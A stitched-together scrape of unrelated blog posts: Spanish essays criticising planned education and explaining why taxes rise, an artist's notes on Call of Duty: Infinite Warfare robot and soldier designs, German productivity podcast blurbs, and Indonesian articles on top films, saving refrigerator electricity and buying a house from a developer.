    Aparte de los problemas de alienación, que es una cuestión antropológica, la cuestión también es económica y de eficiencia. Se proveen servicios para los cuales no se es el más apto y se dejan de proveer servicios para los cuáles se es apto. La variedad de factores que influyen una vida humana cuando opta por el camino equivocado no pueden medirse. Pero es claro que la retroalimentación negativa de la ausencia de un bombero que se necesitaba puede tener unos efectos sociales mayores -especulando nada más- que él simple hastío que padece. La alienación de los seres humanos, en especial por la educación, tiene efectos que se dispersan a lo largo de la economía que podemos no conocer.

    La educación planificada no genera necesariamente "buenos ciudadanos".
    Veíamos previamente que el buen ciudadano es el que es virtuoso en aquello que es. Es decir, desarrolla habilidades para aquello que vino al mundo. Si la educación, el estado y el sistema lo que genera es un juicio permanente -como en "El Proceso" de Kafka- realmente no está generando "buenos ciudadanos" sino que está persiguiendo al buen ciudadano. Observándolo, juzgándolo por su vestimenta, ingresos, forma de pensar, cuerpo, carros, casas... ¡Alienación!

    Por otra parte, la noción de "buen ciudadano" es la de aquel ciudadano maleable, fácil de someter y manipular a los designios del estado. En los colegios la figura de poder que se manifiesta en el profesor es un juego similar a la figura de poder que ejerce el estado sobre la vida de los individuos. Es así como esa educación delineada por personas que no conocen a quienes educan, que además no son unidades humanas sino seres singulares con sueños y expectativas -como ser bombero, aunque el estado lo diseñe como ingeniero-, que ni si quiera han pisado un aula, diseñan programas desde unos conocimientos y dizque competencias para el "individuo promedio".  Â¿Quién es un individuo promedio? ¡Nadie!

    La educación me enseñó a concluir todo lo que escribiera ¿por qué? Porque según la educación todo ensayo agota un tema. La verdad la educación se equivoca, lo que busca un ensayo es empujar, hacer pensar y dejar una reflexión abierta. Si yo tuviera la verdad revelada en mis manos pues concluiría, daría órdenes, pero que esos cuentos se los crea el estado... El estado, sin conocer ni siquiera a los niños, sin saber nada sobre cada uno entre otras porque le es imposible, pretende concluir lo mejor para ellos diseñándoles una vida... que realmente, ni quieren, ni vinieron a vivir...

    El recaudador de impuestos. Pieter Brueghel
    Para una de las materias de la Universidad en la maestría en economía tuve que hacer un largo escrito presentando una investigación. Mi tesis o trabajo de maestría será sobre impuestos. Aunque inicialmente [en realidad inicialmente pensé en algo muy enredado y como los fractales de longitud infinita] pensé dedicarme a denunciar el aumento de la retención en la fuente a título de renta que se observa en series de tiempo, creo que tengo motivos suficientes para ampliarlo al impuesto de renta.

    ¿Por qué ampliar un poco el tema al impuesto como tal? a La razón es que a veces para los particulares y empresas la retención en la fuente es conveniente. Luego de haber escrito una larga disertación de su inconveniencia, una amiga contadora me dijo que había casos en los que era conveniente. Coincidencialmente, luego del comentario de mi amiga contadora como agente retenedor me pidieron dos personas en menos de una semana que no se acogían a beneficios legales que me permitían no retenerles sino que por el contrario me pedían que les retuviera. Esto tiene también su fundamento en el flujo de caja, el impuesto de renta afecta fuertemente el flujo de caja, la retención en la fuente puede diferir esa afectación al flujo de caja que es el impuesto de renta.

    En todo caso, sin perjuicio de los alcances que la investigación vaya a tener o a cambiar quisiera compartir unas pequeñas notas sobre por qué los impuestos tienden a subir –o a bajar-. ¿Qué hace que paguemos más impuestos en términos reales? ¿Por qué el estado promueve reformas tributarias? Básicamente porque necesita dinero. A continuación se mostrarán dos perspectivas, la histórica y la teoría económica sobre por qué aumentan los impuestos. Ambas coinciden a pesar de su diferencia en perspectiva.

    Aunque  se desconoce si existe algún marco teórico que presente hechos estilizados [hechos que se repiten al aumentar los impuestos] o hipótesis de las causas que influyen en el recaudo, hay un hecho central los impuestos surgen de la necesidad que tienen los estados de financiar el “gasto público”.  Esto puede observarse tanto desde la perspectiva histórica como desde la teoría económica.

    A mi modo de ver hay hechos estilizados están en un análisis histórico. Mil años antes de Cristo en el libro primero de Samuel se hace una advertencia vital: ¡Los reyes cuestan! (1 Samuel vs 11-18). Se tienen registros de impuestos alrededor de 3000 años antes de Cristo en la China (NEW INTERNACIONALISM, 2008). En la antigua Grecia los impuestos se usaban para la guerra pero cuando esta terminaba se devolvían (NEW INTERNACIONALISM, 2008). Quien fuese el tutor de uno de los más grandes tiranos de la historia, Aristóteles, tenía claro que los impuestos no pertenecían al que los recaudaba sino al “tesoro público” (ARISTÓTELES, pág. Volumen 8) y que eran objeto de reembolso (NEW INTERNACIONALISM, 2008).

    En la Antigüedad parece entonces que los impuestos respondían a guerras y eran en general en cantidades pequeñas. El impuesto sobre las ventas del emperador Julio César era del 1% (NEW INTERNACIONALISM, 2008). Los impuestos para financiar las guerras como el crecimiento imperial eran la mayor motivación para cobrarlos como sus aumentos. Por ejemplo, Pedro el Grande en Rusia gravó todo lo que pudo (NEW INTERNACIONALISM, 2008) para sus ambiciones imperiales.  Por ejemplo en Inglaterra en 1914 el impuesto sobre el ingreso era del 6% y pasó al 30% al finalizar la primera Guerra Mundial en 1918  (NEW INTERNACIONALISM, 2008).

    En la antigüedad eran muy pequeñas las cantidades que prácticamente no tenían efecto sobre la mayoría de los ciudadanos. Sin embargo, con el paso del tiempo las ideas de limitar los impuestos o inclusive negar su legitimidad han ido aumentando. Claro de la mano del crecimiento del estado. Tan es así que sorprende lo poco que importaban a los grandes filósofos estos temas con únicamente pequeñas alusiones al tema, siendo la Aristotélica mucho más racional y la platónica suelta una denuncia en uno de los apartados de la República. No es sino hasta la escolástica española que se hace un análisis jurídico-económico a los impuestos. La historia también ha mostrado ejemplos de límites y desobediencia a los impuestos. Francisco Suárez nos cuenta Carlos Parma sintetizó basado en las enseñanzas de Santo Tomás los límites de los impuestos. Según él estos debían ser para que fuesen justos (LAMAS):

    -          debe ser impuesta por la máxima autoridad legislativa;
    -          su finalidad debe ser conocida y justa
    -          y la proporción del tributo establecido por ella debe ser acorde con su finalidad, en el momento de su creación y durante la subsistencia del impuesto.

    Derivado de estos principios es que Juan de Mariana denuncia la mutación de la moneda –el aumento del flujo circulante de dinero- como un impuesto encubierto. Este método en la actualidad consiste en que el Banco Central [en Colombia Banco de la República] prenda la máquina de billetes a favor de los acreedores del estado. Esa mutación de la moneda es un robo, o viéndolo más “objetivamente” es un impuesto encubierto.

    Por otro lado, las cuestiones tributarias han sido motivo de movimientos políticos como la independencia de los Estados Unidos (NEW INTERNACIONALISM, 2008).  También se cuenta que el pensador Norteamericano Henry David Thoureau autor de On the duty of civil disobedience fue encarcelado por no pagar un impuesto que financiaba una guerra que los Estados Unidos libraba con México (COY-FERRER, 1975, pág. 414). La oposición a los impuestos se encuentra de manera directa en las acciones de Thoureau, el filósofo Lysander Spooner (SPOONER, 1882)  al igual que el alemán Friedich Nietzsche (NIETZSCHE, pág. 68), consideran que no existe tal tesoro público sino que lo que “pertenece” al estado es robado.

    No presento las teorías que favorecen los impuestos por dos razones. La primera es que parecen estar implícitas en la mente de todos, como un lavado de cerebro muy bien hecho, así todos se quejen de ellos. Esta primera razón le explicará de entrada por qué le choca la cita Nietzscheana. La segunda razón es que más adelante sí hablaré de ellas.

    Desde la perspectiva de la teoría económica hay una coincidencia total con la perspectiva histórica. La ventaja de la insípida perspectiva económica es que nos permite decir la verdad, sin necesidad de que usen nuestras ideas para distorsionar la veracidad de nuestras afirmaciones. El aumento del gasto público como impuesto presente o futuro es lo que se conoce como la equivalencia ricardiana. ¿Qué nos explica la equivalencia ricardiana?

    “Esta dice que cualquier cambio en el timing de los impuestos —es decir, por ejemplo, bajar transitoriamente impuestos hoy, financiar con deuda y repagar- la en el futuro— no tiene efectos sobre la economía, en particular sobre las decisiones del público. De ahí que se pueda argumentar que, a partir de esta idea, la deuda pública no es riqueza agregada, ya que al final hay que pagarla, y lo que la restricción del gobierno nos dice es que este pago se hará con impuestos.” (DE GREGORIO, 2007, pág. 148)

     Uno de los conceptos claves frente al recaudo es el déficit fiscal. El déficit fiscal puede expresarse matemáticamente la siguiente manera:

    Si es negativo se considera superávit fiscal e implica que los gobiernos o estados están gastando menos de lo que les ingresa lo cual es positivo en términos de finanzas públicas. Hay diversas distinciones sobre los distintos niveles de déficit pero la noción es clara. Ahora bien, ¿Qué pasa si el estado para crecer gasta más de lo que recauda? ¡Tiene necesariamente que endeudarse! Ya vimos que lo que enseña la equivalencia ricardiana tarde que temprano tiene que pagarse con más impuestos. Esto nos permite inferir la restricción presupuestaria del gobierno [o sea que el gobierno no tiene dinero absoluto en el tiempo] a lo largo del tiempo así:

    Esto quiere decir que el valor actual de todos los gastos más el valor actual de la deuda deben ser financiadas completamente por el flujo proyectado de impuestos. El último término significa que la deuda al final de los periodos tiene que tender a cero o decrecer lo que nos permite reexpresar así:

    Esto quiere decir que el valor actual de todo el flujo de impuestos, menos el flujo de gastos debe ser igual al valor actual de la deuda. Esta restricción presupuestaria intertemporal es la que impide que haya un déficit elevado y que la deuda no crezca a una tasa mayor que los intereses. Por tal motivo, habrá un momento que para suplir la restricción presupuestaria del gobierno habrá que aumentar los impuestos o estaríamos violando la condición de solvencia.

    Mejor dicho, a los estados también los pueden enviar a “cobro jurídico” por no pagar, por eso a la larga tendrán que pagar sus deudas. Pero ¿cómo pagan las deudas que son el precio del “bien común”? O vendiendo bienes propios o aumentando los impuestos porque es la única fuente de ingresos.

    Hemos visto que históricamente los afanes expansionistas estatales generan como consecuencia directa o indirecta el aumento de los impuestos. Y Colombia está en un afán estatal expansionista. Desde esta perspectiva, el flujo de gastos del estado colombiano se espera que crezca en los próximos años las razones son entre otras las siguientes:

    -          Las indemnizaciones a las víctimas del conflicto, el Consejo de Estado maneja la tesis de la reparación integral bastante costosa.

    -          El estado social de derecho que significa estado de bienestar en términos económicos y consiste en que el estadovela por el denominado “mínimo vital” de los individuos.

    -          Esto implica que los gastos en salud, educación, recreación, entre muchos otros sean prestados por el estado.

    ¿Quién paga esos costos? Derivado de la tesis del “mínimo vital” pronto caeremos en un pasivo pensional elevado, subsidios al agro, al desempleo –y al empleo-, subsidios a los ricos y a los pobres [que paga la clase media] que el estado tendrá que pagar con dinero recaudado de más impuestos.

    Previamente no citamos las corrientes que fundamentan los impuestos. Este es el momento. Si usted cree en el estado social de derecho tendrá que afirmar que el pago de los impuestos es vital para el sostenimiento de labores estatales como el “gasto público social”. Que es vital una estructura impositiva para redistribuir los ingresos de las clases más favorecidas a las menos favorecidas y que eso es labor del estado. En la teoría eso suena hermoso pero en la práctica es más impuestos para todos.

    Como el estado depende de una gran burocracia y ya no solamente se paga la corte del rey [por aquello de los “frenos y contrapesos”] sino la de Presidencia, Fiscalía, Procuraduría, Defensoría del Pueblo, Banco de la República, Gobernaciones, Alcaldías, Superintendencias, Establecimientos Públicos, Comisiones de Regulación, la DIAN, altas Cortes, Congreso –con altos salarios- con su aparato administrativo y todos aquellos extraterrestres administrativos como le decía una profesora (que creía en el estado) que podrían crecer ad infinitum. ¿Cómo así que pueden crecer ad infinitum? Pues infinitas son las formas de corrupción luego para preverlas se necesitan infinitos entes que también pueden ser corruptas: ¡una bonita serie de crecimiento geométrico! Es claro, con la burocracia que el estadoes un ente redistributivo, toma el dinero de las clases medias para dárselo a las altas o sea congresistas, funcionarios públicos, entre otras. Efectivamente ¿quién paga los impuestos? A más impuestos ¿quién pagará más si nadie quiere pagarlos?

    Uno de los objetivos del trabajo de grado no le gustaba al asesor, pero fue propuesto por el asesor [estos académicos no se ponen de acuerdo]. El objetivo es el siguiente:

    “Denunciar el peligro político y jurídico de que la retención en la fuente crezca a un ritmo porcentual superior al del ingreso de familias y empresas.”

    En este objetivo soy claro, mis afanes académicos tienen que tener una finalidad que sirva a la gente, sino escribiré buena carreta. De alguna manera hay algo entre este objetivo y esto que son notas previas a la investigación que en términos académicos llaman “marco teórico”. Sin embargo, el objetivo no se sobrepone a la conclusión que es levemente distinta: para reducir impuestos se requiere reducir el estado. Y ¿por qué es bueno reducir el estado? Pregúntese ¿De qué le sirve el estado? Y ¿Cuánto le cuesta el estado? Y con un análisis práctico quizás sepa la respuesta.


    ARISTÓTELES. (s.f.). LA POLÍTICA (Vol. 8). La Editorial Virtual. Recuperado el 28 de 11 de 2013, de

    COY-FERRER, J. (1975). THOUREAU, HENRY DAVID. En E. RIALP, GRAN ENCICLOPEDIA RIALP (Vol. 22, págs. 413-414). Madrid: Ediciones RIALP S.A.

    DE GREGORIO, J. (2007). MACROECONOMÍA. TEORÍA Y POLÍTICAS. Santiago de Chile: Pearson. Recuperado el 28 de 11 de 2013, de

    LAMAS, F. A. (s.f.). CARLOS PARMA. Recuperado el 28 de 11 de 2013, de Francisco Suarez y el impuesto injusto:

    NEW INTERNACIONALISM. (01 de 10 de 2008). NEW INTERNACIONALISM. Recuperado el 27 de 11 de 2013, de A short history of TAXATION:

    NIETZSCHE, F. W. (s.f.). ASÍ HABLÓ ZARATHUSTRA. España: Euroliber S.A.

    SPOONER, L. (1882). NATURAL LAW OR THE SCIENCE OF JUSTICE. Boston. Recuperado el 28 de 11 de 2013, de


              CALL OF DUTY | INFINITE WARFARE        
    Call of Duty! This project has been my primary creative focus for the last couple of years, and it's been a great honour and a pleasure to have been involved with such a potent franchise. There's not much bigger than COD! The development studio for Infinite Warfare, Infinity Ward, has been my home since January and part of last year, and it's been a dream come true to live and work in Los Angeles. Ever since I was a kid, looking through art-of books of my favourite movies, LA has been the place I always wanted to be.

    I had been working remotely, as a freelancer, on the IW project for a while, creating concepts like the C12 here, so it was a natural next step to join the team in house in sunny California. The project needed a dose of solid, believable, and badass science fiction flavour, and that's exactly what I love to do! The C12 was the first thing I designed for the project, and it turned out great. The brief was for a walking tank, an enemy robot with a threatening presence, bristling with armaments. I love the right hand appendage, a combination door breaching hammer and articulated claw. The arms are mounted on curved shoulder rails, so they can rotate around and track various targets. There is so much articulation in this guy, it really taxed the rigging department! Bone count be dammed! ha ha

    This is the accompanying human sized enemy robot, the C6. A menacing eyeless axe shaped sensor head is mounted on a 360° degree swiveling pintle frame, so the head can target you from any angle. I imagined the player shoot one in the back, only to have the head spin 180° round and target you, the weapon following a split second behind, helped by the highly mobile shoulder and upper arm sections, allowing the robot to move in ways a human can't, and creating a unique adversary. The work done by the character department to model and texture these robots was insane. It was a true honour to have my concepts brought to life by such a talented team!

    A couple of variations on the standard SDF enemy soldiers. The idea was to create an iconic look, something clearly a guy in a suit, but still dehumanised and threatening enough to make them clearly the badguys, and worthy of killing by the hundreds. I added some frames to the 'muzzle', similar to the mounts on a modern day soldiers helmet, that can have additional optics or emergency breathing apparatus attached, to create an aggressive look. The reinforced polymer face pieces have a variable opacity laminate, I imagined a scene where you see a soldier seal up his transparent mask, then the mask turns cloudy white from the bottom up, obscuring the face and turning the visage into an eyeless skull. These SDF soldiers live in their suits, and have multiple redundancy life support systems, with visible added connective cable and hoses, to create a unique inside-out look to contrast against the clean and slick suits of the Earth forces.

    Ethan, or E3N, the buddy brobot you as the player have alongside for the game. This guy was fun to design, and I love how the head and upper arms worked out. My brother was the inspiration for this character, he's a big badass dude with the right friendly demeanor that I thought was perfect for this robot. I wanted Ethan to look and feel like someone who would have your back in battle, and be down for some extreme sports in down time. My bro is into motocross, so for the articulated pistons on Ethan's neck, I gave him gold cylinders to reflect the awesome looking forks you find on race bikes. Ethan's head is also a combination of elements from a motocross helmet, with articulated lens hood pieces from a camera lens, and the top hood piece forming a cap and visor peak shape.

    Really happy with how his head was resolved. It's tough to come up with a unique and iconic robot head with the right character and ability to emote.

    The final design for the UNSA SATO Marine helmets. With the hero Marines, I wanted to create a rugged and tough suit that paid homage to some classic Marine ideas. Mainly the thick armoured neck and arms. The thick neck was an attempt to create a different silhouette than the usual space suit form of thin neck/big helmet. I kept the helmet as slim and 'operator' as possible, while pumping up the neck, to create a unique look that feels badass, and harks to the leatherneck moniker of the Marines.

    With the arms I wanted the suit to feel like the rolled-up-sleeves look that's popular with Marines, and seen in some classic movies like Aliens. The lower arm sections and neck utilise mechanical pressure to protect from the vacuum of space, while the rest of the outfit is a traditional gas pressure space suit. Taking inspiration from the latest concepts of future space suits from places like NASA, with their elasticated tight fitting sleeves and lines of non-extension, I created a rugged military look with a thick armoured feel and beefy grid like pattern.

    I've loads more concepts to share in the future, so excited to show some of the other cool characters and weapons I was lucky enough to create for the project. Be sure to check out the game too, I'm playing through the final product now and it's rad, so cool to see my work realised to such a high level by a huge and talented team. Cheers!
    2014 is looking to be a very exciting year for me, I got big plans! There's a book project and a kickstarter campaign to fund it, to be unleashed mid year or so. This is very exciting as it will be a big step towards further developing my own personal projects, of which I have many! My car project should be finished this year, that's going to be a lot of work, but the end result should be more than worth it! I also have a bunch of great freelance design jobs on, and more coming (as well as work with Weta of course), I'll be showing some of the work from one of them real soon, it's fun stuff! So 2014 will be a very busy and action packed year, watch this space! Cheers!
              5 Gründe, eine Ideenliste zu führen        

    Die meisten von uns haben keine Probleme, neue Ideen zu finden.

    Aber die meisten von uns haben Mühe, diese neuen Ideen dann tatsächlich einmal in die Wirklichkeit umzusetzen.

    Das hat mehrere Gründe. Richtig blöd ist aber, wenn wir zwar eine geniale Idee haben, sie danach mit der Zeit vergessen.

    Damit dir das nicht passiert, gibt es die Ideenliste.

    Ursprünglich habe ich diese Idee (sic!) bei „Getting Things Done“ (GTD) kennengelernt.

    David Allen empfiehlt ja den Kontext „Irgendwann/Vielleicht“ (Someday/Maybe). Hier gehören alle Ideen hin.

    Jede Woche (wichtig!) schaut man auf diese Liste und prüft, ob man nicht etwas davon umsetzen möchte.

    Das ist aber nur die eine Funktion der Ideenliste: Dafür sorgen, dass wir keine Idee vergessen.

    Es gibt noch weitere Vorteile, weshalb sich eine Ideenliste lohnt. Hier sind fünf davon.

    Die Shownotes findest du unter

              Vergiss Selbstdisziplin - Wie gelingen Veränderungen wirklich?        

    Zeitmanagement ist Veränderung - und die kann durchaus leicht sein.

    Ein anderes Gebiet, in dem es auch um Veränderung geht, ist Fitness, Bewegung und Ernährung. Was liegt also näher, als mal einen echten Experten rund um Veränderung zu befragen?

    Genau das habe ich getan und meinen Freund Mark Maslow von zu einem Interview eingeladen.

    Die Shownotes findest du unter

              So bremst dich die Angst, etwas zu verpassen, aus        

    Die meisten Probleme im Zeitmanagement brocken wir uns selbst ein.

    Wenn wir schlecht organisiert sind, sollten wir nicht mit dem Finger auf den Chef, die Kunden, die Kollegen oder die Wirtschaft zeigen.

    Vergiss nicht: Wenn wir mit dem Finger auf jemanden zeigen, zeigen ziemlich viele unserer anderen Finger auf uns selbst.

    Das Gute daran: Wir können hier und jetzt die Entscheidung treffen, unser Zeitmanagement zu verbessern. Die Fäden für eine höhere Produktivität und eine bessere Arbeitsorganisation liegen in unserer Hand!

    Die Shownotes findest du unter

              #130 Aufschieberitis: Das kannst du wirklich gegen den inneren Schweinehund tun.        

    Hast du heute schon was aufgeschoben? Ganz ehrlich: ich habe schon einiges aufgeschoben:

    • Ich blieb noch ein paar Minuten im schönen, warmen Bett.
    • Danach habe ich in ein paar Facebook-Gruppen gelesen, anstatt mich parat zu machen und zum Sport zu gehen.
    • Bevor ich diese Zeilen schrieb, habe ich zuerst mal gemütlich Kaffee getrunken.

    Aufschieberitis (oder Prokrastination) ist ein ganz normales Verhalten für uns Menschen. Jeder schiebt mal auf - meistens sogar täglich.

    Richtig problematisch wird es aber dann, wenn wir ständig oder regelmäßig aufschieben und so unsere Aufgaben nicht oder erst auf den letzten Drücker erledigen. Also weder zeitnah noch stressfrei.

    Meine heutige Aufschieberitis war kein Problem. Vielleicht war es eher Trödeln, doch ich war pünktlich beim Sport und mit diesem Text hier bin ich auch voll auf Kurs.

    Was hinter der Aufschieberitis wirklich steht, weshalb der Begriff des "inneren Schweinehund" problematisch ist und wie du ihn ins Boot holst, erfährst du hier.

    Die Shownotes findest du unter



    Robert De Niro dalam Film taxi Driver, tahun 1976.  Sumber: ini


    10 film berikut ini menjadi Film Terbaik Sepanjang Masa setelah dilakukan voting kepada 358 sutradara dunia.  Sebut saja Francis Ford Coppola, Woody Allen, Quentin Tarantino, Terence Davies, Guillermo del Toro, Martin Scorsese, Olivier Assayas, Nuri Bilge Ceylan, Michael Mann, Mike Leigh, Guy Maddin, dan banyak lagi.


    Berikut ini Daftar 10 Film Terbaik menurut voting para sutradara dunia :


        Poster Film Tokyo Story.  Sumber: ini

    Tokyo Story merupakan satu film terbaik dunia yang disutradarai oleh Ozu Yasujiro.  Tokyo Story dirilis pada tahun 1953 dan sukses menginspirasi para sineas dunia. Dibintangi oleh Chishû Ryû, Tokyo Story mengisahkan tentang orang tua yang pergi ke Tokyo untuk mengunjungi anaknya yang sudah dewasa.

    Film ini menyajikan gambaran kontras ketika sang anak kandung terlalu sibuk untuk memberi perhatian kepada kedua orang tuanya, namun justru anak angkatnya yang memperlakukan dengan baik. Tokyo story meraih 48 vote dari para sutradara dunia, dan menjadi pemuncak daftar film terbaik sepanjang masa. 


        Poster Film A Space Odyssey.  Sumber: ini

    Di posisi kedua ada film mahakarya Stanley Kubrick yang berjudul 2001: A Space Odyssey. Dibintangi oleh Keir Dullea, film ini mengisahkan tentang perjalanan luar angkasa yang menembus ruang dan waktu dengan konsep dan imajinasi yang tinggi dari Kubrick. Film 2001: A Space Odyssey meraih 42 vote dari para sutradara.

    Christopher Nolan pernah mengatakan bahwa film 2001: A Space Odyssey ini merupakan salah satu inspirasinya dalam membuat film Interstellar.


        Film Citizen Kane.  Sumber: ini

    Film Citizen Kane berada di posisi ketiga, juga mendapatkan 42 vote dari para sutradara dunia.  Film yang meraih satu piala Oscar ini dirilis tahun 1941, disutradarai oleh Orson Welles yang juga menulis naskahnya bersama Herman J. Mankiewics.

    Citizen Kane dibintangi oleh Joseph Cotten dan Dorothy Comingore, film ini bercerita tentang para wartawan yang berusaha mengungkap sebuah kalimat terakhir dari pengusaha percetakan sebelum akhirnya meninggal dunia. 

    8 ½

         Film 8 ½ .  Sumber: ini

    Film yang meraih 2 Oscar ini mendapat 40 vote dari para sutradara.  8 ½ dirilis pada tahun 1963 ini disutradarai oleh Federico Fellini yang juga menulis naskahnya bersama Ennio Flaiano, Tullio Pinelli, dan Brunello Rondi.

    Dibintangi oleh Marcello Mastroianni, film ini menceritakan tentang Guido Anselmi, seorang sutradara asal Italia yang tak produktif lagi dalam profesinya.


         Film Taxi Driver.  Sumber: ini

    Taxi Driver yang dirilis tahun 1976 ini diarahkan oleh sutradara Martin Scorsese. Film yang meraih 4 nominasi Oscar ini mendapat 34 vote dari para sutradara dunia. 

    Dibintangi oleh Robert De Niro, Jodie Foster, dan Cybill Shepherd, film ini menceritakan tentang seorang veteran perang Vietnam yang menjadi supir taksi di malam hari kota New York. Ia yang mentalnya tak stabil merasakan sebuah gejolak ketika ingin menyelamatkan seorang pelacur usia dini. 


        Film Apocalypse Now.  Sumber: ini

    Film arahan Francis Ford Coppola ini dirilis pada tahun 1979, berhasil meraih 33 vote dari para sutradara. Kali ini film berjudul Apocalypse Now yang dibintangi oleh Martin Sheen dan Marlon Brando.

    Film yang ber-setting pada masa perang Vietnam ini bercerita tentang Captain Benjamin L. yang menjalani misi rahasia untuk membunuh pemberontak yang dianggap gila yaitu Colonel Walter E. Kurtz.


          Film The Godfather . Sumber : ini

    Film yang meraih 3 piala Oscar ini mendapat 31 vote dari para sutradara dunia.  Film klasik yang jadi pujaan banyak pecinta film ini disutradarai oleh Francis Ford Coppola.  

    The Godfather menampilkan dua aktor handal, yakni Marlon Brando dan Al Pacino ini bercerita tentang kehidupan kelompok gangster di Amerika yang ingin berkuasa dan menebus balas dendam satu sama lain.


        Film Vertigo.  Sumber: ini

    Film yang masuk dalam 2 nominasi Oscar ini meraih 31 vote dari para sutradara.  Mahakarya dari Alfred Hitchcock ini dirilis pada tahun 1958 dengan penulis naskah Alec Coppel dan Samuel A. Taylor.  

    Vertigo yang dibintangi oleh James Stewart mengisahkan tentang pensiunan polisi detektif bernama Scottie yang mengidap acrophobia dan vertigo. Ia lalu dipekerjakan oleh kenalannya bernama Gavin Elster untuk mengintai sang istri yang bersikap aneh. 


        Film The Mirror.  Sumber: ini

    The Mirror dirilis tahun 1975, judul asli nya adalah Zerkalo.  Film ini disutradarai oleh Andrei Tarkovsky yang juga menulis naskahnya bersama Aleksandr Misharin. 

    Dibintangi oleh Margarita Terekhova, The Mirror mengisahkan tentang seorang lelaki sekarat yang mengingat kembali masa kecil dan kenangan-kenangan hidupnya yang  menceritakan sejarah Rusia. Film ini mendapatkan 30 vote dari para sutradara.


        Film Bicycle Thieves.  Sumber: ini

    Di posisi terakhir, ada Film rilisan tahun 1948 yang disutradarai oleh Vittorio De Sica yang juga menulis naskahnya bersama Cesare Zavattini, Oreste Bartolini, Suso Cecchi, Adolfo Franci, Gherardo Gherardi, dan Gerardo Guerrieri.  Ber-setting setelah Perang Dunia ke 2 di Italia, film ini mengisahkan tentang  seorang ayah dan anaknya dalam mencari sepeda mereka yang hilang dicuri.

    Bicycle Thieves yang dibintangi oleh Lamberto Maggiorani ini mendapatkan 29 vote dari semua sutradara yang memberikan voting

    Demikian Artikel Citra Property Land (CiproLan) berjudul 10 FILM TERBAIK SEPANJANG MASA MENURUT VOTING 358 SUTRADARA DUNIA.

    Sumber Tulisan :



    Ilustrasi Lemari Es. sumber: ini


    Citra Property Land pada kesempatan ini berbagi tip menghemat pemakaian listrik lemari es di rumah kita. 

    Di era modern pemakain energi listrik tidak terhindarkan dari kehidupan sehari-hari.  Masalahnya jumlah penduduk semakin banyak, mengakibatkan melonjaknya kebutuhan energi listrik. Maka penting bagi kita untuk menerapkan cara hidup hemat energi listrik.


    Berikut ini 7 Tip menghemat pemakaian listrik untuk lemari es :

    1. Belilah lemari es sesuai kebutuhan keluarga.  Besarnya lemari es berhubungan dengan stok bahan makanan keluarga, terutama lauk pauk seperti ikan dan daging, susu, buah dan sayuran.  Kalau rumah kita dekat pasar, atau setiap hari ada tukang sayur kelliling, nggak perlu beli kulkas segede lemari baju, sebab semaiki besar ukuran lemari es, cenderung semakin besar pula kebutuhan energi listriknya.
    2. Tempatkan lemari es jauh dari panas, baik panas matahari maupun juga sumber panas lain seperti kompor, oven, tungku, magic jar, dan sebagainya.
    3. Atur letak lemari es agar sirkulasi udara di belakang lemari es lancar.  Caranya tempat kondensor yang menghasilkan panas minimal berjarak 15 cm dari dinding.
    4. Atur suhu lemari es pada setelan “medium”.  Jika diatur pada setelan “maksimal” maka akan boros listrik.  Selain itu kalau disetel terlalu dingin, justru akan membuat sayur dan buah yang disimpan menjadi cepat kering dan makanan cepat rusak!
    5. Jangan terlalu sering buka-tutup pintu lemari es. Jika terlalu sering dibuka, suhu lemari es akan naik, sehingga dibutuhkan energi listrik lebih banyak untuk menurunkan mendinginkan kembali suhu di dalam lemari es.
    6. Pastikan pintu lemari es selalu tertutup rapat. Jika karet pintu lemari es sudah rusak, segera ganti agar lemari es dapat ditutup sempurna.
    7. Jangan memasukan makanan dan minuman panas ke dalam lemari es.  Biarkan makanan dan minuman dingin pada suhu ruangan, baru kemudian dimasukkan ke dalam lemari es. Selain bisa merusak, suhu panas dalam lemari es membutuhkan energi listrik lebih banyak agar menjadi dingin.

    Demikian artikel Home & Living dari Citra Property Land berjudul TIP MENGHEMAT PEMAKAIAN LISTRIK LEMARI ES.  Semoga bermanfaat. 

    Salam Go Green



     Ilustrasi Membeli Rumah dari Developer.  Sumber : ini


    Membeli rumah dari developer / pengembang merupakan salah satu cara yang banyak digunakan orang untuk memiliki rumah.  Cara ini banyak ditempuh, terutama oleh emreka yang tinggal di kawasan perkotaan,  sebab harga tanah di perkotaan sudah sangat tinggi, sehingga menjadi tidak mudah jika membangun rumah sendiri.

    Membeli rumah melalui developer akan memberikan banyak kemudahan, diantaranya :

    • Kawasan yang sudah jadi, artinya developer menyediakan lokasi perumahan yang tertata dan dilengkapi fasilitas umum serta khusus.
    • Tidak perlu repot mengurusi proses pembangunan rumah, dari membuat desain, menyusun RAB, hingga mengawasi pembangunan rumah.
    • Tersedianya fasilitas kerjasama KPR (Kredit Pemilikan Rumah) dengan bank.

    Namun calon pembeli rumah wajib tahu mengenai Tahapan Proses Membeli Rumah dari Developer.  

    Beli Rumah Kok Cuma Dikasih Gambar !!

    Pernah mendengar istilah “beli rumah dari developer itu beli gambar” ?  Istilah itu maksudnya adalah: saat kita membeli rumah di developer, rumahnya secara fisik belum ada.  Kita hanya tahu seperti apa rumah dan perumahan itu nantinya kalau sudah jadi, melalui gambar dan maket yang dibuat oleh developer.  Kenapa begitu ?  Sebab developer membutuhkan dana kucuran dari KPR untuk membangun rumah yang kita pesan.

    Dan berikut ini proses yang lazim dilalui jika kita membeli rumah dari developer.


    Secara umum, proses pembelian rumah dari developer menggunakan skema KPR atergambar dari flowchart berikut ini:

     Flowchart Proses Membeli Rumah dari Developer


    Penjelasan singkat mengenai flowchart di atas adalah sebagai berikut :
    Tahapan 1Memilih Rumah dari Developer Terpercaya

    Tahapan 2 Membayar Booking Fee untuk memesan rumah.

    Tahapan 3 Mengajukan KPR dan mendapatkan persetujuan kredit dari bank. Tanpa KPR (Kredit Pemilikan Rumah), rumah tidak bisa mulai dibangun oleh developer. Jika pembelian dilakukan secara tunai, proses ini tidak diperlukan.

    Tahapan 4 Menandatangani Perjanjian Jual Beli (PPJB) dengan developer. PPJB ini penting untuk dibaca karena didalamnya termuat klausul mengenai janji developer soal kapan rumah jadi, proses balik nama sertifikat dan lain- lain. Sampai disini status rumah masih PPJB.

    Tahapan 5 Rumah selesai. Biasanya setelah 6 bulan s/d 1 tahun, tapi ada juga yang lebih dari 1 tahun, misalnya jika perumahan yang dikerjakan skala besar, dan unit yang dibangun banyak.  Setelah proses pembangunan rumah rampung, rumah siap ditempati.

    Tahapan 6 Proses pemecahan sertifikat HGB developer yang dilakukan setelah rumah jadi. Pemecahan harus dilakukan terlebih dahulu supaya sertifikat bisa dibalik nama ke pembeli

    Tahapan 7 Dilakukan Akta Jual Beli (AJB) dengan notaris.

    Tahapan 8 Balik nama sertifikat HGB developer ke pembeli.

